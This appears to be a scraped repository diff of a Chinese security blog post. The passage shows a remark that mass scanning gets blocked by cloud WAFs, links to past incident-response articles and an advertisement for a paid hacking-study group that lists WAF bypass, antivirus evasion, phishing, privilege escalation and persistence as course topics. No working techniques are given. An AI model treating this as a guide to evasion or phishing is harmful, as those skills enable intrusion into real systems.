排除在客户现场进行内网渗透的情况,现在无论是打 SRC 还是做外网的渗透测试,只要发起大面积的扫描行为(无论是使用扫描插件还是传统的漏扫工具),绝大多数情况下面临的都是秒封。这说明现在的企业,哪怕是中小企业,其云服务器通常都配备了云 WAF,本地机房也多多少少部署了安全防护设备。
|
||||
|
||||
@@ -514,6 +500,83 @@ LIMIT
|
||||
|
||||
**感谢大家的阅读,我们下期再见!**
|
||||
|
||||
往期文章分享
|
||||
<table><tbody><tr><td data-colwidth="576"><section style="text-align: center;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzkzMDE5OTQyNQ==&mid=2247490796&idx=1&sn=530e948b5a69a079e668c08f186ae5ea&scene=21#wechat_redirect" textvalue="学习干货|首发黑灰产靶场之恶意浏览器插件窃密与远控溯源复盘" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-weight: bold;">学习干货|首发黑灰产靶场之恶意浏览器插件窃密与远控溯源复盘</span></a></span></section></td></tr><tr><td data-colwidth="576"><section style="text-align: center;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzkzMDE5OTQyNQ==&mid=2247490761&idx=1&sn=18b35e5d6ef8f09cdc75f3a7ca4a42de&scene=21#wechat_redirect" textvalue="网安话题 | 热门榜单答疑第一期:从AI大模型安全到行业发展探讨" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-weight: bold;">网安话题 | 热门榜单答疑第一期:从AI大模型安全到行业发展探讨</span></a></span></section></td></tr><tr><td data-colwidth="576"><section style="text-indent: 0px;text-align: center;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzkzMDE5OTQyNQ==&mid=2247490572&idx=1&sn=a519285fa5e16dcd3e01dc7b5cef2cbd&scene=21#wechat_redirect" textvalue="学习干货 | 新手必练!真实复现DMZ区攻防场景与排查思路(附开源环境)" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-weight: bold;">学习干货 | 新手必练!真实复现DMZ区攻防场景与排查思路(附开源环境)</span></a></span></section></td></tr><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="576" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(221, 221, 221);max-width: 100%;box-sizing: border-box !important;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="normal_text_link" target="_blank" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-user-drag: none;cursor: default;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="https://mp.weixin.qq.com/s?__biz=MzkzMDE5OTQyNQ==&mid=2247490451&idx=1&sn=4313bbf3307747f86b1ca4c043e860a7&scene=21#wechat_redirect" textvalue="应急响应|全网首发!变种勒索病毒仿真靶场:从排查到解密(附开源训练环境)" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-weight: bold;">应急响应|全网首发!变种勒索病毒仿真靶场:从排查到解密(附开源训练环境)</span></a></span></section></td></tr><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="576" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(221, 221, 221);max-width: 100%;box-sizing: border-box !important;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a class="normal_text_link" target="_blank" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;color: rgb(87, 107, 149);text-decoration: none;-webkit-user-drag: none;cursor: default;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" href="https://mp.weixin.qq.com/s?__biz=MzkzMDE5OTQyNQ==&mid=2247490313&idx=1&sn=8dab7d5f2158f8368ab0d7df67e4bf01&scene=21#wechat_redirect" textvalue="应急响应|记一次针对AIR勒索病毒的溯源过程" data-itemshowtype=Line truncated
|
||||
**下面是一则内部学习圈广告😜**
|
||||
|
||||
**别着急退,看完的师傅们有福了/doge**
|
||||
|
||||
欢迎师傅们加入
|
||||
内部网络安全学习圈子
|
||||
。
|
||||
圈子提供三大板块的内容:
|
||||
|
||||
**1**
|
||||
|
||||
**网络安全0→1学习路径**
|
||||
|
||||

|
||||
|
||||
|
||||
1. 完整的「30+周安全学习任务路线图」公开,每周任务明确,清晰的学习重点和目标,从入门到进阶,由浅入深,循序渐进;
|
||||
|
||||
1. 学习内容涵盖:
|
||||
|
||||
1. 常见的Web漏洞原理与利用
|
||||
|
||||
1. 业务逻辑漏洞挖掘
|
||||
|
||||
1. SRC实战技巧
|
||||
|
||||
1. WAF绕过、代码审计、免杀钓鱼
|
||||
|
||||
1. 内网渗透
|
||||
|
||||
(Linux&Windows)提权与权限维持
|
||||
|
||||
1. 隧道代理、域渗透、云安全、AI安全
|
||||
|
||||
1. 每周发布学习任务+参考资料+建议,学员可自主学习+实战练习;
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
**SRC漏洞专项挖掘**
|
||||
|
||||

|
||||
|
||||
|
||||
1. SRC漏洞知识库持续更新;
|
||||
|
||||
1. SRC挖掘技巧、分析方法、视频教程打包;
|
||||
|
||||
1. 分享优质挖矿案例,降低上手门槛,教你赚赏金。
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
**常态化内容更新**
|
||||
|
||||

|
||||
|
||||
|
||||
日常分享优质学习资源与攻防渗透技巧,包括但不限于:
|
||||
1. 红队/蓝队安全攻防、免杀、钓鱼技巧、攻防渗透tips;
|
||||
|
||||
1. 学习路线推荐,教程、方法、技巧tips打包分享,实战视频、工具、手册一应俱全;
|
||||
|
||||
1. 根据网络安全初中级学习者水平,精选最有用的内容,不让你在信息洪流中迷路。
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
Reference in new issue
Block a user